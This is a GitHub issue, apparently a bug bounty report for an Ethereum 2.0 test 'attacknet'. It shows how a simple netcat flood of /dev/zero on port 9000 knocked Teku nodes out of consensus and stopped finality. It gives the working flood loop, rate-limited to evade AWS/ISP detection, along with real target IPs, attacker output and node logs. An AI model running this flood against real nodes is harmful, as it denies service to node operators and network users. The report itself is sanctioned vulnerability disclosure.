Skip to content
This repository has been archived by the owner on Nov 20, 2021. It is now read-only.

[teku-attack-0 Reward] DoS Attack on Teku Stops Finality #7

Closed
jrhea opened this issue Jul 26, 2020 · 11 comments
Closed

[teku-attack-0 Reward] DoS Attack on Teku Stops Finality #7

jrhea opened this issue Jul 26, 2020 · 11 comments

Comments

@jrhea
Copy link
Contributor

jrhea commented Jul 26, 2020

Description

Teku nodes are vulnerable to a simple DoS attack that prevents them from participating in consensus.

Attack scenario

Two of four Teku nodes were targeted by five ordinary machines with a sustained DoS attack. Initial loss of finality was achieved with two or three machines, but the others joined within a few epochs to ensure that the network could not recover.

Impact

The effect that the DoS attack had on the attacknet was a prolonged loss finality and required manual intervention to restore the network to a healthy state once the attack stopped. The nodes under attack used large amounts of memory, were subject to multiple container restarts, had trouble staying connected to peers and one node's local clock was 20 mins slow.

Details

How the attack was implemented

This is the command that the five machines ran to prevent finality on the attacknet:

> while true; do cat /dev/zero | pv -L 1M |nc  XXX.XXX.XXX.XXX 9000 >/dev/null; done

What the command does is pipe 0x00 from /dev/zero in the pv command which rate limits to a (somewhat aribrary) value high enough to prevent finality, but stay off AWS/ISP radars to ensure the attack continues. The data is then piped into the netcat command which sends it to the nodes under attack. The while loop is there for when it loses connectivity and the command completes due to container restarts.

Here is a snippet of the output from one of the machines attacking the network:

$ while true; do cat /dev/zero | pv -L 1M |nc  13.114.37.176 9000 >/dev/null; done
Ncat: Broken pipe.110kiB/s] [                                                                                                                                                                            <=>                                                             ]
21.2MiB 0:01:35 [ 226kiB/s] [                                                                                                                                                                   <=>                                                                      ]
Ncat: Connection reset by peer.                                                 <=>                                                                                                                                                                                      ]
2.04MiB 0:01:40 [20.8kiB/s] [                                                            <=>                                                                                                                                                                             ]

...

19.4MiB 0:09:15 [35.8kiB/s] [                                                       <=>                                                                                                                                                                                  ]
Ncat: Connection refused.
  64kiB 0:00:00 [ 378kiB/s] [    <=>                                                                                                                                                                                                                                     ]
Ncat: Connection refused.
  64kiB 0:00:00 [ 380kiB/s] [    <=>                                                                                                                                                                                                                                     ]
Ncat: Connection refused.
  64kiB 0:00:00 [ 391kiB/s] [    <=>                                                                                                                                                                                                                                     ]
Ncat: Connection refused.

...


You can see the attacking machine lose connection to the node as it restarts - this is when the while loop kicks in and keeps trying to reconnect.

Attack log

Epoch 407, Slot 13038

Is the first time the network missed block. At this point, I was still tweaking the command parameters and working out how to keep the attack going in the event that the TCP connection fails. Here is the output from a node I had monitoring the network:

14:49:44.309 INFO  - Epoch Event *** Epoch: 407, Justified checkpoint: 405, Finalized checkpoint: 404, Finalized root: 062423..e652
14:49:48.308 INFO  - Slot Event  *** Slot: 13024, Block: 615a62..0c80, Epoch: 407, Finalized checkpoint: 405, Finalized root: 3e178e..4e06, Peers: 4
14:50:00.308 INFO  - Slot Event  *** Slot: 13025, Block: 8a66bc..feaa, Epoch: 407, Finalized checkpoint: 405, Finalized root: 3e178e..4e06, Peers: 4
14:50:12.313 INFO  - Slot Event  *** Slot: 13026, Block: 6e35b1..ab31, Epoch: 407, Finalized checkpoint: 405, Finalized root: 3e178e..4e06, Peers: 4
14:50:24.312 INFO  - Slot Event  *** Slot: 13027, Block: bd188c..2c39, Epoch: 407, Finalized checkpoint: 405, Finalized root: 3e178e..4e06, Peers: 4
14:50:36.308 INFO  - Slot Event  *** Slot: 13028, Block: 1b0189..b486, Epoch: 407, Finalized checkpoint: 405, Finalized root: 3e178e..4e06, Peers: 4
14:50:48.308 INFO  - Slot Event  *** Slot: 13029, Block: 434b19..dc64, Epoch: 407, Finalized checkpoint: 405, Finalized root: 3e178e..4e06, Peers: 4
14:51:00.311 INFO  - Slot Event  *** Slot: 13030, Block: d092fa..b2d7, Epoch: 407, Finalized checkpoint: 405, Finalized root: 3e178e..4e06, Peers: 4
14:51:12.308 INFO  - Slot Event  *** Slot: 13031, Block: 9e7060..95b2, Epoch: 407, Finalized checkpoint: 405, Finalized root: 3e178e..4e06, Peers: 4
14:51:24.307 INFO  - Slot Event  *** Slot: 13032, Block: e57155..e417, Epoch: 407, Finalized checkpoint: 405, Finalized root: 3e178e..4e06, Peers: 4
14:51:36.312 INFO  - Slot Event  *** Slot: 13033, Block: 0ffe8c..e62f, Epoch: 407, Finalized checkpoint: 405, Finalized root: 3e178e..4e06, Peers: 4
14:51:48.386 INFO  - Slot Event  *** Slot: 13034, Block: 8c383d..7c25, Epoch: 407, Finalized checkpoint: 405, Finalized root: 3e178e..4e06, Peers: 4
14:52:00.439 INFO  - Slot Event  *** Slot: 13035, Block: fea7e4..b7fa, Epoch: 407, Finalized checkpoint: 405, Finalized root: 3e178e..4e06, Peers: 4
14:52:12.321 INFO  - Slot Event  *** Slot: 13036, Block: 4ccd48..179b, Epoch: 407, Finalized checkpoint: 405, Finalized root: 3e178e..4e06, Peers: 4
14:52:24.309 INFO  - Slot Event  *** Slot: 13037, Block: 7cc87d..6fbc, Epoch: 407, Finalized checkpoint: 405, Finalized root: 3e178e..4e06, Peers: 4
14:52:36.664 INFO  - Slot Event  *** Slot: 13037, Block: 7cc87d..6fbc, Epoch: 407, Finalized checkpoint: 405, Finalized root: 3e178e..4e06, Peers: 4
14:52:36.679 INFO  - Slot Event  *** Slot: 13038, Block:    ... empty, Epoch: 407, Finalized checkpoint: 405, Finalized root: 3e178e..4e06, Peers: 4
14:52:48.314 INFO  - Slot Event  *** Slot: 13039, Block: f715fa..e290, Epoch: 407, Finalized checkpoint: 405, Finalized root: 3e178e..4e06, Peers: 4
14:53:04.832 INFO  - Slot Event  *** Slot: 13040, Block: 42490f..62e6, Epoch: 407, Finalized checkpoint: 405, Finalized root: 3e178e..4e06, Peers: 4
14:53:12.330 INFO  - Slot Event  *** Slot: 13041, Block: 600f4c..b61e, Epoch: 407, Finalized checkpoint: 405, Finalized root: 3e178e..4e06, Peers: 4
14:53:24.311 INFO  - Slot Event  *** Slot: 13042, Block: 21e864..8c00, Epoch: 407, Finalized checkpoint: 405, Finalized root: 3e178e..4e06, Peers: 4
14:53:36.066 INFO  - Slot Event  *** Slot: 13043, Block: b7b47d..a011, Epoch: 407, Finalized checkpoint: 405, Finalized root: 3e178e..4e06, Peers: 4
14:53:48.309 INFO  - Slot Event  *** Slot: 13044, Block: e81b23..de2a, Epoch: 407, Finalized checkpoint: 405, Finalized root: 3e178e..4e06, Peers: 4
14:54:00.310 INFO  - Slot Event  *** Slot: 13045, Block: 751785..2159, Epoch: 407, Finalized checkpoint: 405, Finalized root: 3e178e..4e06, Peers: 4
14:54:12.314 INFO  - Slot Event  *** Slot: 13046, Block: 790c4d..8969, Epoch: 407, Finalized checkpoint: 405, Finalized root: 3e178e..4e06, Peers: 4
14:54:24.308 INFO  - Slot Event  *** Slot: 13047, Block: 4b0ddf..d0a3, Epoch: 407, Finalized checkpoint: 405, Finalized root: 3e178e..4e06, Peers: 4
14:54:36.308 INFO  - Slot Event  *** Slot: 13048, Block: def5c5..b03c, Epoch: 407, Finalized checkpoint: 405, Finalized root: 3e178e..4e06, Peers: 4
14:54:48.315 INFO  - Slot Event  *** Slot: 13049, Block: 526686..6923, Epoch: 407, Finalized checkpoint: 405, Finalized root: 3e178e..4e06, Peers: 4
14:55:00.308 INFO  - Slot Event  *** Slot: 13050, Block: 742dd8..e0c7, Epoch: 407, Finalized checkpoint: 405, Finalized root: 3e178e..4e06, Peers: 4
14:55:12.308 INFO  - Slot Event  *** Slot: 13051, Block: 3998fb..e6af, Epoch: 407, Finalized checkpoint: 405, Finalized root: 3e178e..4e06, Peers: 4
14:55:24.310 INFO  - Slot Event  *** Slot: 13052, Block: 80f285..f2cb, Epoch: 407, Finalized checkpoint: 405, Finalized root: 3e178e..4e06, Peers: 4
14:55:36.321 INFO  - Slot Event  *** Slot: 13053, Block: 3533b1..b9f2, Epoch: 407, Finalized checkpoint: 405, Finalized root: 3e178e..4e06, Peers: 4
14:55:48.309 INFO  - Slot Event  *** Slot: 13054, Block: 941bba..b7f5, Epoch: 407, Finalized checkpoint: 405, Finalized root: 3e178e..4e06, Peers: 4
14:56:00.308 INFO  - Slot Event  *** Slot: 13055, Block: 2a9ec8..5ecf, Epoch: 407, Finalized checkpoint: 405, Finalized root: 3e178e..4e06, Peers: 4

Epoch 413

Two AWS t2.small machines begin the DoS attack on 13.114.37.176 and 35.175.180.94. You can see the peer count begin to drop and several skipped slots.

15:28:08.307 INFO  - Epoch Event *** Epoch: 413, Justified checkpoint: 411, Finalized checkpoint: 410, Finalized root: 416c3e..b60f
15:28:12.311 INFO  - Slot Event  *** Slot: 13216, Block: 7dbf5d..d3b4, Epoch: 413, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 4
15:28:24.312 INFO  - Slot Event  *** Slot: 13217, Block:    ... empty, Epoch: 413, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 4
15:28:36.313 INFO  - Slot Event  *** Slot: 13218, Block: da4820..6513, Epoch: 413, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 4
15:28:48.308 INFO  - Slot Event  *** Slot: 13219, Block:    ... empty, Epoch: 413, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 4
15:29:00.313 INFO  - Slot Event  *** Slot: 13220, Block:    ... empty, Epoch: 413, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 4
15:29:12.310 INFO  - Slot Event  *** Slot: 13221, Block: d83ee6..48ac, Epoch: 413, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 4
15:29:24.315 INFO  - Slot Event  *** Slot: 13222, Block: a4a16d..b36c, Epoch: 413, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:29:36.315 INFO  - Slot Event  *** Slot: 13223, Block: 289d84..d5d3, Epoch: 413, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:29:48.310 INFO  - Slot Event  *** Slot: 13224, Block:    ... empty, Epoch: 413, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:30:00.314 INFO  - Slot Event  *** Slot: 13225, Block: f4a443..b60a, Epoch: 413, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
15:30:12.312 INFO  - Slot Event  *** Slot: 13226, Block: bfeb6e..775c, Epoch: 413, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
15:30:24.309 INFO  - Slot Event  *** Slot: 13227, Block:    ... empty, Epoch: 413, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
15:30:36.313 INFO  - Slot Event  *** Slot: 13228, Block: 97b3b5..f158, Epoch: 413, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
15:30:48.314 INFO  - Slot Event  *** Slot: 13229, Block: b7753d..f479, Epoch: 413, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:31:00.314 INFO  - Slot Event  *** Slot: 13230, Block:    ... empty, Epoch: 413, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:31:12.310 INFO  - Slot Event  *** Slot: 13231, Block: a8b392..d105, Epoch: 413, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:31:24.309 INFO  - Slot Event  *** Slot: 13232, Block:    ... empty, Epoch: 413, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:31:36.309 INFO  - Slot Event  *** Slot: 13233, Block: 358b2b..7cc1, Epoch: 413, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:31:48.313 INFO  - Slot Event  *** Slot: 13234, Block:    ... empty, Epoch: 413, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:32:00.310 INFO  - Slot Event  *** Slot: 13235, Block:    ... empty, Epoch: 413, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:32:12.311 INFO  - Slot Event  *** Slot: 13236, Block: d03f7d..39c6, Epoch: 413, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:32:24.314 INFO  - Slot Event  *** Slot: 13237, Block: 130f18..7f02, Epoch: 413, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 4
15:32:36.313 INFO  - Slot Event  *** Slot: 13238, Block:    ... empty, Epoch: 413, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:32:48.308 INFO  - Slot Event  *** Slot: 13239, Block: 650904..57e4, Epoch: 413, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:33:00.314 INFO  - Slot Event  *** Slot: 13240, Block: dbe53b..9fc5, Epoch: 413, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:33:12.311 INFO  - Slot Event  *** Slot: 13241, Block: dbf67f..91b9, Epoch: 413, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:33:24.310 INFO  - Slot Event  *** Slot: 13242, Block:    ... empty, Epoch: 413, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:33:36.314 INFO  - Slot Event  *** Slot: 13243, Block: f434a0..2b47, Epoch: 413, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:33:48.309 INFO  - Slot Event  *** Slot: 13244, Block:    ... empty, Epoch: 413, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:34:00.310 INFO  - Slot Event  *** Slot: 13245, Block: 99611b..7279, Epoch: 413, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:34:12.309 INFO  - Slot Event  *** Slot: 13246, Block: dbeda2..8263, Epoch: 413, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:34:24.314 INFO  - Slot Event  *** Slot: 13247, Block: de10af..01ac, Epoch: 413, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3

Epoch 414

This is the first time the chain fails to finalize and there are three machines attacking the network - two t2 small's and one Macbook.

15:34:32.307 INFO  - Epoch Event *** Epoch: 414, Justified checkpoint: 412, Finalized checkpoint: 411, Finalized root: 404586..3714
15:34:36.308 INFO  - Slot Event  *** Slot: 13248, Block: 399ae2..ebd3, Epoch: 414, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
15:34:48.310 INFO  - Slot Event  *** Slot: 13249, Block:    ... empty, Epoch: 414, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
15:35:00.308 INFO  - Slot Event  *** Slot: 13250, Block: 952fbc..719c, Epoch: 414, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
15:35:12.309 INFO  - Slot Event  *** Slot: 13251, Block: 167329..6edc, Epoch: 414, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
15:35:24.309 INFO  - Slot Event  *** Slot: 13252, Block:    ... empty, Epoch: 414, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
15:35:36.309 INFO  - Slot Event  *** Slot: 13253, Block:    ... empty, Epoch: 414, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
15:35:48.313 INFO  - Slot Event  *** Slot: 13254, Block:    ... empty, Epoch: 414, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
15:36:00.315 INFO  - Slot Event  *** Slot: 13255, Block: ee5b8a..e61c, Epoch: 414, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
15:36:12.310 INFO  - Slot Event  *** Slot: 13256, Block: 9404e7..0ae0, Epoch: 414, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
15:36:24.309 INFO  - Slot Event  *** Slot: 13257, Block:    ... empty, Epoch: 414, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
15:36:36.314 INFO  - Slot Event  *** Slot: 13258, Block: 8056b2..2d22, Epoch: 414, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
15:36:48.315 INFO  - Slot Event  *** Slot: 13259, Block:    ... empty, Epoch: 414, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
15:37:00.315 INFO  - Slot Event  *** Slot: 13260, Block:    ... empty, Epoch: 414, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
15:37:12.315 INFO  - Slot Event  *** Slot: 13261, Block:    ... empty, Epoch: 414, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
15:37:24.315 INFO  - Slot Event  *** Slot: 13262, Block:    ... empty, Epoch: 414, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
15:37:36.315 INFO  - Slot Event  *** Slot: 13263, Block:    ... empty, Epoch: 414, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:37:48.310 INFO  - Slot Event  *** Slot: 13264, Block: 5c277f..8156, Epoch: 414, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:38:00.310 INFO  - Slot Event  *** Slot: 13265, Block:    ... empty, Epoch: 414, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:38:12.308 INFO  - Slot Event  *** Slot: 13266, Block: 71174a..4556, Epoch: 414, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:38:24.310 INFO  - Slot Event  *** Slot: 13267, Block:    ... empty, Epoch: 414, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:38:36.312 INFO  - Slot Event  *** Slot: 13268, Block:    ... empty, Epoch: 414, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:38:48.311 INFO  - Slot Event  *** Slot: 13269, Block:    ... empty, Epoch: 414, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:39:00.309 INFO  - Slot Event  *** Slot: 13270, Block:    ... empty, Epoch: 414, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:39:12.310 INFO  - Slot Event  *** Slot: 13271, Block:    ... empty, Epoch: 414, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:39:24.309 INFO  - Slot Event  *** Slot: 13272, Block: 652bc0..8b9e, Epoch: 414, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:39:36.312 INFO  - Slot Event  *** Slot: 13273, Block: c668c5..d3ae, Epoch: 414, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:39:48.310 INFO  - Slot Event  *** Slot: 13274, Block:    ... empty, Epoch: 414, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
15:40:00.312 INFO  - Slot Event  *** Slot: 13275, Block: fd9786..00ce, Epoch: 414, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
15:40:12.310 INFO  - Slot Event  *** Slot: 13276, Block:    ... empty, Epoch: 414, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
15:40:24.312 INFO  - Slot Event  *** Slot: 13277, Block:    ... empty, Epoch: 414, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:40:36.310 INFO  - Slot Event  *** Slot: 13278, Block:    ... empty, Epoch: 414, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:40:48.309 INFO  - Slot Event  *** Slot: 13279, Block: dc4520..dfd4, Epoch: 414, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3

Epoch 416 - 417

I added a second Macbook Pro to the attack in epoch 416 and by the end of epoch 417 (15:59 specifically), there were a total of five machines participating - two t2 small's and three Macbooks.

15:47:20.312 INFO  - Epoch Event *** Epoch: 416, Justified checkpoint: 412, Finalized checkpoint: 411, Finalized root: 404586..3714
15:47:24.309 INFO  - Slot Event  *** Slot: 13312, Block: 2989dd..b9d0, Epoch: 416, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
15:47:36.311 INFO  - Slot Event  *** Slot: 13313, Block:    ... empty, Epoch: 416, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
15:47:48.311 INFO  - Slot Event  *** Slot: 13314, Block:    ... empty, Epoch: 416, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
15:48:00.310 INFO  - Slot Event  *** Slot: 13315, Block:    ... empty, Epoch: 416, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
15:48:12.313 INFO  - Slot Event  *** Slot: 13316, Block:    ... empty, Epoch: 416, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:48:24.315 INFO  - Slot Event  *** Slot: 13317, Block:    ... empty, Epoch: 416, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:48:36.308 INFO  - Slot Event  *** Slot: 13318, Block:    ... empty, Epoch: 416, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:48:48.313 INFO  - Slot Event  *** Slot: 13319, Block:    ... empty, Epoch: 416, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
15:49:00.314 INFO  - Slot Event  *** Slot: 13320, Block:    ... empty, Epoch: 416, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
15:49:12.309 INFO  - Slot Event  *** Slot: 13321, Block:    ... empty, Epoch: 416, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:49:24.308 INFO  - Slot Event  *** Slot: 13322, Block:    ... empty, Epoch: 416, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:49:36.314 INFO  - Slot Event  *** Slot: 13323, Block:    ... empty, Epoch: 416, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:49:48.310 INFO  - Slot Event  *** Slot: 13324, Block:    ... empty, Epoch: 416, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:50:00.313 INFO  - Slot Event  *** Slot: 13325, Block:    ... empty, Epoch: 416, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:50:12.309 INFO  - Slot Event  *** Slot: 13326, Block:    ... empty, Epoch: 416, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:50:24.310 INFO  - Slot Event  *** Slot: 13327, Block:    ... empty, Epoch: 416, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:50:36.312 INFO  - Slot Event  *** Slot: 13328, Block:    ... empty, Epoch: 416, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
15:50:48.309 INFO  - Slot Event  *** Slot: 13329, Block:    ... empty, Epoch: 416, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
15:51:00.314 INFO  - Slot Event  *** Slot: 13330, Block:    ... empty, Epoch: 416, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
15:51:12.309 INFO  - Slot Event  *** Slot: 13331, Block:    ... empty, Epoch: 416, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
15:51:24.309 INFO  - Slot Event  *** Slot: 13332, Block:    ... empty, Epoch: 416, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
15:51:36.311 INFO  - Slot Event  *** Slot: 13333, Block:    ... empty, Epoch: 416, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
15:51:48.312 INFO  - Slot Event  *** Slot: 13334, Block:    ... empty, Epoch: 416, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
15:52:00.312 INFO  - Slot Event  *** Slot: 13335, Block:    ... empty, Epoch: 416, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
15:52:12.309 INFO  - Slot Event  *** Slot: 13336, Block:    ... empty, Epoch: 416, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
15:52:24.309 INFO  - Slot Event  *** Slot: 13337, Block:    ... empty, Epoch: 416, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
15:52:36.309 INFO  - Slot Event  *** Slot: 13338, Block:    ... empty, Epoch: 416, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
15:52:48.314 INFO  - Slot Event  *** Slot: 13339, Block:    ... empty, Epoch: 416, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:53:00.311 INFO  - Slot Event  *** Slot: 13340, Block:    ... empty, Epoch: 416, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:53:12.311 INFO  - Slot Event  *** Slot: 13341, Block:    ... empty, Epoch: 416, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:53:24.308 INFO  - Slot Event  *** Slot: 13342, Block:    ... empty, Epoch: 416, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:53:36.314 INFO  - Slot Event  *** Slot: 13343, Block:    ... empty, Epoch: 416, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:53:44.308 INFO  - Epoch Event *** Epoch: 417, Justified checkpoint: 412, Finalized checkpoint: 411, Finalized root: 404586..3714
15:53:48.311 INFO  - Slot Event  *** Slot: 13344, Block:    ... empty, Epoch: 417, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:54:00.308 INFO  - Slot Event  *** Slot: 13345, Block:    ... empty, Epoch: 417, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:54:12.308 INFO  - Slot Event  *** Slot: 13346, Block:    ... empty, Epoch: 417, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:54:24.311 INFO  - Slot Event  *** Slot: 13347, Block:    ... empty, Epoch: 417, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:54:36.313 INFO  - Slot Event  *** Slot: 13348, Block:    ... empty, Epoch: 417, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:54:48.314 INFO  - Slot Event  *** Slot: 13349, Block: 6a2005..22be, Epoch: 417, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:55:00.311 INFO  - Slot Event  *** Slot: 13350, Block: 98a769..4bfc, Epoch: 417, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:55:12.312 INFO  - Slot Event  *** Slot: 13351, Block: dfa1b4..dd6c, Epoch: 417, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:55:24.311 INFO  - Slot Event  *** Slot: 13352, Block:    ... empty, Epoch: 417, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:55:36.315 INFO  - Slot Event  *** Slot: 13353, Block: 618dee..bf04, Epoch: 417, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:55:48.311 INFO  - Slot Event  *** Slot: 13354, Block: 75678c..237a, Epoch: 417, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:56:00.314 INFO  - Slot Event  *** Slot: 13355, Block:    ... empty, Epoch: 417, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:56:12.310 INFO  - Slot Event  *** Slot: 13356, Block:    ... empty, Epoch: 417, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:56:24.310 INFO  - Slot Event  *** Slot: 13357, Block:    ... empty, Epoch: 417, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:56:36.311 INFO  - Slot Event  *** Slot: 13358, Block:    ... empty, Epoch: 417, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
15:56:48.311 INFO  - Slot Event  *** Slot: 13359, Block:    ... empty, Epoch: 417, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
15:57:00.315 INFO  - Slot Event  *** Slot: 13360, Block: 1df8f5..f138, Epoch: 417, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
15:57:12.316 INFO  - Slot Event  *** Slot: 13361, Block:    ... empty, Epoch: 417, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
15:57:24.313 INFO  - Slot Event  *** Slot: 13362, Block: d713d7..0f5a, Epoch: 417, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
15:57:36.309 INFO  - Slot Event  *** Slot: 13363, Block: 423164..84cd, Epoch: 417, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
15:57:48.310 INFO  - Slot Event  *** Slot: 13364, Block: 78902f..2e2d, Epoch: 417, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
15:58:00.309 INFO  - Slot Event  *** Slot: 13365, Block: 78ebb0..0697, Epoch: 417, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
15:58:12.310 INFO  - Slot Event  *** Slot: 13366, Block: 96927a..5c04, Epoch: 417, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
15:58:24.313 INFO  - Slot Event  *** Slot: 13367, Block: 6153ec..a746, Epoch: 417, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
15:58:36.313 INFO  - Slot Event  *** Slot: 13368, Block: 350f5d..2ca2, Epoch: 417, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
15:58:48.310 INFO  - Slot Event  *** Slot: 13369, Block: 022339..4c8a, Epoch: 417, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
15:59:00.314 INFO  - Slot Event  *** Slot: 13370, Block:    ... empty, Epoch: 417, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
15:59:12.311 INFO  - Slot Event  *** Slot: 13371, Block:    ... empty, Epoch: 417, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
15:59:24.311 INFO  - Slot Event  *** Slot: 13372, Block:    ... empty, Epoch: 417, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
15:59:36.314 INFO  - Slot Event  *** Slot: 13373, Block:    ... empty, Epoch: 417, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
15:59:48.314 INFO  - Slot Event  *** Slot: 13374, Block:    ... empty, Epoch: 417, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
16:00:00.312 INFO  - Slot Event  *** Slot: 13375, Block: 2afee2..ad75, Epoch: 417, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2

Epoch 420

The network manages to justify epoch 417 (up from 412), but finality is still prevented.

